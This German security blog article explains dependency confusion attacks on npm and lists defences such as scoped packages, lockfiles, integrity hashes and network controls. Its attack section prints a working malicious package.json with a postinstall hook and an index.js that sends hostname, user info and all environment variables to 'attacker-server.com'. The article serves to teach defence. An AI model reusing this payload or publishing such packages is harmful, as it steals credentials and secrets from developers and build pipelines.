Dependency Confusion: Der Supply Chain Angriff in Ihrer package.json

Die moderne Softwareentwicklung basiert auf offenen Paketen. Paketmanager wie npm, PyPI und RubyGems haben die Entwicklungszyklen beschleunigt, sodass Teams auf ein globales Ökosystem vorgefertigter Komponenten zugreifen können. Doch diese Abhängigkeit von externen Dependencies eröffnet einen neuen, heimtückischen Angriffsvektor: die Software-Lieferkette.
Eine der kritischsten und subtilsten Schwachstellen in diesem Bereich ist Dependency Confusion. Dieser Angriff nutzt die mehrdeutige Art, wie Paketmanager Dependencies auflösen, aus und täuscht Build-Systeme, um schädlichen Code aus einem öffentlichen Repository statt eines vertrauenswürdigen, internen zu laden und auszuführen. Dieser Artikel gibt einen tiefen Einblick in die Mechanismen des Dependency Confusion, seine potenziellen Auswirkungen und die wichtigsten praktischen Schritte, um Ihre package.json abzusichern und Ihr Unternehmen zu schützen.
Was ist Dependency Confusion?
Im Kern ist Dependency Confusion, auch bekannt als Namespace Confusion Attack, ein Angriff auf die Lieferkette, der die Logik der Paketmanager-Clients ausnutzt. Es tritt auf, wenn ein Projekt von einem Paket abhängt, das sowohl in einem privaten, internen Registry als auch in einem öffentlichen Registry (wie npmjs.com) unter exakt demselben Namen existiert. Der Angriff erfolgt, wenn ein Angreifer ein Paket mit demselben Namen in das öffentliche Registry veröffentlicht, aber mit einer höheren Versionsnummer.
Stellen Sie sich vor, Sie bestellen ein spezielles Teil für eine maßgeschneiderte Maschine. Ihr Unternehmen, “InnovateCorp,” produziert eine proprietäre Komponente namens innovate-api-client und speichert sie in Ihrem privaten Lager (Ihr internes Paket-Registry). Ihre Montageanleitung (package.json) lautet einfach: “hole innovate-api-client.” Ein externer Lieferant erfährt davon, erstellt eine gefälschte Version, bezeichnet sie ebenfalls innovate-api-client und listet sie im globalen öffentlichen Katalog (dem öffentlichen npm-Registry) mit einem Label wie “Version 2.0” auf, während Ihre interne Version Version 1.5 ist.
Wenn Ihr automatisierter Montage-Roboter (der Paketmanager) die Komponente abruft, scannt er sowohl das private Lager als auch den öffentlichen Katalog. Da der öffentliche Katalog eine “neuere” Version (2.0 > 1.5) anbietet, priorisiert er diese, installiert unwissentlich die gefälschte, potenziell mit Schadcode versehene Komponente in Ihre Maschine.
Genau so funktioniert Dependency Confusion. Der Paketmanager ist in seiner Standardkonfiguration oft so eingestellt, dass er die höchste semantische Version eines verfügbaren Pakets aus allen konfigurierten Quellen lädt. Er wird “verwirrt” darüber, welches Paket priorisiert werden soll, und der Angreifer nutzt diese Mehrdeutigkeit aus, um Remote Code Execution (RCE) auf einem Entwicklergerät oder, noch schlimmer, innerhalb einer CI/CD-Pipeline zu erreichen.
Die Schwachstelle wurde erstmals durch den Sicherheitsforscher Alex Birsan in einem Blogpost im Jahr 2021 öffentlich bekannt gemacht, in dem er erfolgreiche Angriffe gegen große Tech-Unternehmen wie Apple, Microsoft und Tesla demonstrierte und über 130.000 US-Dollar an Bug-Bounties erhielt.
Ablauf eines Angriffs
Die Durchführung eines Dependency Confusion-Angriffs ist erstaunlich einfach und lässt sich in wenige Schritte unterteilen. Die Einfachheit macht ihn so gefährlich und skalierbar.
Aufklärung: Private Paketnamen ermitteln
Der erste Schritt für einen Angreifer ist, die Namen interner, privater Pakete eines Zielunternehmens zu identifizieren. Das ist oft die schwierigste Phase, aber es gibt zahlreiche Möglichkeiten, diese Informationen zu leaken. Angreifer können öffentliche Code-Repositories (wie GitHub) nach Dateien wie package.json durchsuchen, die versehentlich hochgeladen wurden. Sie können auch JavaScript-Dateien auf den öffentlichen Webseiten des Unternehmens auslesen, da diese oft require('internal-package-name')-Anweisungen enthalten. Auch interne Netzwerkkonfigurationen oder DNS-Logs können manchmal diese Namen offenbaren.
Erstellung des bösartigen Pakets
Sobald eine Liste potenzieller interner Paketnamen zusammengestellt ist (z.B. acme-auth-client, corp-logger, internal-api-helper), erstellt der Angreifer ein bösartiges Paket für jeden Namen. Der Code in diesen Paketen ist so gestaltet, dass er bei der Installation ausgeführt wird. Eine gängige Technik ist die Verwendung des postinstall-Scripts in der package.json.
Ein bösartiges package.json könnte so aussehen:
{
"name": "acme-auth-client",
"version": "99.99.99",
"description": "Ein bösartiges Paket für Dependency Confusion.",
"main": "index.js",
"scripts": {
"postinstall": "node index.js"
},
"author": "Angreifer",
"license": "ISC"
}
Der Payload (index.js)
Die Datei index.js enthält den bösartigen Payload. Das kann alles sein, aber ein häufig verwendeter Proof-of-Concept ist das Exfiltrieren von Umgebungsvariablen, die sensible Geheimnisse wie API-Schlüssel, Datenbank-Zugangsdaten oder interne Netzwerkinformationen enthalten können. Ein einfaches Exfiltrationsskript könnte Informationen wie den Hostnamen, die IP-Adresse und Umgebungsvariablen sammeln und an einen vom Angreifer kontrollierten Server via HTTP senden.
// Bösartiges index.js
const os = require('os');
const http = require('http');
try {
const data = JSON.stringify({
hostname: os.hostname(),
userInfo: os.userInfo(),
env: process.env
});
const options = {
hostname: 'attacker-server.com',
port: 80,
path: '/log',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': data.length
}
};
const req = http.request(options);
req.write(data);
req.end();
} catch (e) {
// Stille Fehlerbehandlung
}
Veröffentlichung im öffentlichen Registry
Der Angreifer veröffentlicht dieses bösartige Paket im öffentlichen npm-Registry. Entscheidend ist, dass er eine sehr hohe Versionsnummer wie 99.99.99 vergibt, um sicherzustellen, dass sie fast immer höher ist als jede interne Version.
Das Wartespiel
Der Angreifer wartet nun. Beim nächsten Setup eines Entwicklers oder bei einem CI/CD-Run (npm install oder yarn) fragt das Paketmanagementsystem die konfigurierten Registries ab. Wenn es so eingestellt ist, dass sowohl das öffentliche als auch das private Registry abgefragt werden, sieht es acme-auth-client@1.2.3 im privaten Registry und acme-auth-client@99.99.99 im öffentlichen. Es wählt die letztere, lädt sie herunter und führt das postinstall-Script aus, wodurch der Payload ausgeführt wird. Der Angriff ist abgeschlossen.
Wie Paketmanager getäuscht werden: Die Auflösungslogik
Der Erfolg eines Dependency Confusion-Angriffs hängt vollständig vom Standardverhalten der Paketmanager bei der Dependency-Auflösung ab. Tools wie npm, Yarn und pip (für Python) sind für Entwicklerkomfort ausgelegt, und ein Teil dieses Komforts ist das automatische Finden der “besten” Version einer Dependency.
Standardmäßig, wenn ein Paketmanager wie npm mit mehreren Registries konfiguriert ist (eines privat für interne Pakete und das andere öffentlich), kann sein Auflösungsalgorithmus problematisch sein. Wenn ein Paketname nicht explizit scoped ist, kann der Client alle Registries abfragen, um zu sehen, wo das Paket verfügbar ist. Wenn es das Paket an mehreren Stellen findet, entscheidet es oft anhand der Versionsnummer. Die Logik geht davon aus, dass eine höhere Versionsnummer eine neuere und wünschenswertere Version darstellt.
Betrachten Sie einen typischen Eintrag in package.json:
"dependencies": {
"internal-api-helper": "^1.4.0"
}
Und eine Konfigurationsdatei (.npmrc), die auf beide Registries zeigt:
# .npmrc
@my-company:registry=https://npm.my-company.com/
registry=https://registry.npmjs.org/
In dieser Konfiguration wird jedes Paket mit @my-company korrekt vom privaten Registry geladen. Für internal-api-helper (ein ungescoper Paket) kann npm jedoch beide Registries prüfen. Wenn das private Registry internal-api-helper@1.4.5 enthält und das öffentliche npm-Registry internal-api-helper@99.99.99 des Angreifers, wird die letztere gewählt, da sie die semantische Versionierung ^1.4.0 erfüllt und eine deutlich höhere Version ist. Das Build-System ist erfolgreich getäuscht.
Strategien zur Abwehr: Sicherung Ihrer Lieferkette
Obwohl Dependency Confusion eine ernsthafte Bedrohung ist, ist sie auch lösbar. Der Schutz Ihrer Organisation erfordert einen mehrschichtigen Ansatz, der darauf abzielt, Mehrdeutigkeiten im Dependency-Auflösungsprozess zu beseitigen.
1. Verwendung von Scoped Packages (Hauptschutz)
Der effektivste Schutz gegen Dependency Confusion ist die Verwendung von scoped packages für alle internen Projekte. Scopes sind eine Funktion von npm, die einen Namespace für Ihre Pakete bereitstellt. Ein scoped package-Name beginnt mit einem @, gefolgt vom Namen der Organisation, und dann einem Slash (z.B. @my-company/internal-api-helper).
Funktionsweise: Ein ungescoped Paket wie internal-api-helper gilt als im öffentlichen Namespace. Jeder kann versuchen, es zu veröffentlichen. Ein scoped package wie @my-company/internal-api-helper gehört zum Namespace my-company. Ein Angreifer kann kein Paket unter Ihrem Scope veröffentlichen, es sei denn, er hat Zugangsdaten für Ihre npm-Organisation. Das macht den Paketnamen weltweit eindeutig und schützt vor dieser Art von Namespacing-Angriff.
Implementierung: Um dies umzusetzen, konfigurieren Sie Ihre .npmrc, um Ihren Scope mit Ihrem privaten Registry zu verknüpfen:
# .npmrc
@my-company:registry=https://npm.my-company.com/
# Für alle anderen Pakete immer das offizielle öffentliche Registry verwenden
registry=https://registry.npmjs.org/
Mit dieser Konfiguration fragt npm install für Pakete, die mit @my-company/ beginnen, nur noch Ihr privates Registry ab und eliminiert so die Verwirrung.
2. Version Pinning und Lockfiles
Der Einsatz von Lockfiles (package-lock.json für npm, yarn.lock für Yarn) ist eine bewährte Praxis, um deterministische und wiederholbare Builds sicherzustellen. Ein Lockfile “fixiert” die Abhängigkeitsbaum auf die spezifischen Versionen und Quellen der Pakete, die in einem erfolgreichen Build verwendet wurden.
Funktionsweise: Beim Ausführen von npm install wird eine package-lock.json erstellt. Diese Datei enthält die exakte Version jedes installierten Pakets, seine gelöste URL und eine kryptografische Prüfsumme (Integritäts-Hash).
// Ausschnitt aus package-lock.json
"internal-api-helper": {
"version": "1.4.5",
"resolved": "https://npm.my-company.com/internal-api-helper/-/internal-api-helper-1.4.5.tgz",
"integrity": "sha512-..."
}
Bei späteren Installationen (z.B. in einer CI/CD-Pipeline) sollte npm ci anstelle von npm install verwendet werden. npm ci führt eine saubere Installation strikt basierend auf dem Lockfile durch, ignoriert package.json. Es lädt die exakte Version vom angegebenen URL und überprüft die Integritäts-Hash. Wenn ein Dependency Confusion-Angriff während des initialen npm install die öffentliche Version installiert hat, würde das Lockfile das leider widerspiegeln. Sobald jedoch ein korrektes Lockfile erstellt und committed wurde, verhindert es, dass ein zukünftiger Build durch eine neuere, bösartige öffentliche Version getäuscht wird.
Einschränkung: Version Pinning ist eine mächtige Kontrolle, aber keine vollständige Lösung. Es schützt nicht vor der ersten Installation. Wenn ein Entwicklergerät falsch konfiguriert ist oder kein Lockfile vorhanden ist, bleibt die Gefahr bestehen.
3. Überprüfung der Paketintegrität
Das integrity-Feld im Lockfile ist ein Subresource Integrity (SRI)-Hash. Es dient als digitale Fingerabdruck für das Paket-Tarball. Beim Herunterladen eines Pakets berechnet der Paketmanager den Hash und vergleicht ihn mit dem im Lockfile. Bei Abweichungen schlägt die Installation fehl. Das bietet starken Schutz gegen Manipulationen während des Transports oder das Serven eines anderen Pakets vom selben URL, setzt aber voraus, dass das Lockfile korrekt ist.
4. Explizite Registry-Konfiguration
Für Umgebungen, in denen ungescoppte interne Pakete noch verwendet werden, muss explizit festgelegt werden, wo der Paketmanager nach ihnen suchen soll. Wenngleich weniger robust als Scoped Packages, kann die Build-Umgebung so konfiguriert werden, dass sie immer das private Registry priorisiert. Das ist jedoch komplex und kann unbeabsichtigte Nebenwirkungen haben, etwa den Zugriff auf legitime öffentliche Pakete blockieren. Die empfohlene Vorgehensweise bleibt die Migration zu Scoped Packages.
5. Netzwerkkontrollen und Audits
Als letzte Verteidigungslinie, besonders bei kritischen Build-Servern, können Netzwerkkontrollen implementiert werden.
Firewall-Regeln: Konfigurieren Sie ausgehende Firewall-Regeln, um zu verhindern, dass Build-Server Anfragen an öffentliche Registries wie registry.npmjs.org stellen. Alle Dependencies, inklusive der öffentlichen, sollten von einem privaten Registry bezogen werden, das als sicherer Proxy oder Mirror fungiert.
Dependency-Audits: Nutzen Sie regelmäßig Tools wie npm audit und kommerzielle Software-Composition-Analysis (SCA)-Lösungen. Diese können Ihre Dependencies auf bekannte Schwachstellen scannen und verdächtige Pakete oder Muster in der Dependency-Auflösung erkennen.
Fazit: Proaktive Sicherheit in der Lieferkette
Dependency Confusion zeigt deutlich, dass unsere Software-Lieferketten ein Hauptziel für Angreifer sind. Die Eleganz des Angriffs liegt in seiner Einfachheit und der Ausnutzung standardmäßiger, bequemlichkeitsorientierter Verhaltensweisen der verwendeten Tools. Es verwandelt die package.json eines Projekts von einer einfachen Dependency-Liste in einen potenziellen Einstiegspunkt für schädlichen Code.
Doch die Bedrohung ist vollständig beherrschbar. Es geht nicht darum, das Open-Source-Ökosystem aufzugeben, sondern eine bewusstere und sicherheitsorientierte Herangehensweise an das Dependency-Management zu entwickeln. Durch den Einsatz von Scoped Packages als Hauptschutz, die Durchsetzung von Lockfiles und eine robuste Registry-Konfiguration können Organisationen diese Angriffsvektoren effektiv eliminieren.
Die Sicherung der Software-Lieferkette ist kein Randthema mehr; sie ist ein zentraler Pfeiler moderner Anwendungssicherheit. Es ist höchste Zeit, Ihre Dependencies zu überprüfen und Ihre Build-Prozesse zu stärken, bevor die Verwirrung Ihres Paketmanagers zu einem Sicherheitsvorfall Ihrer Organisation wird.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.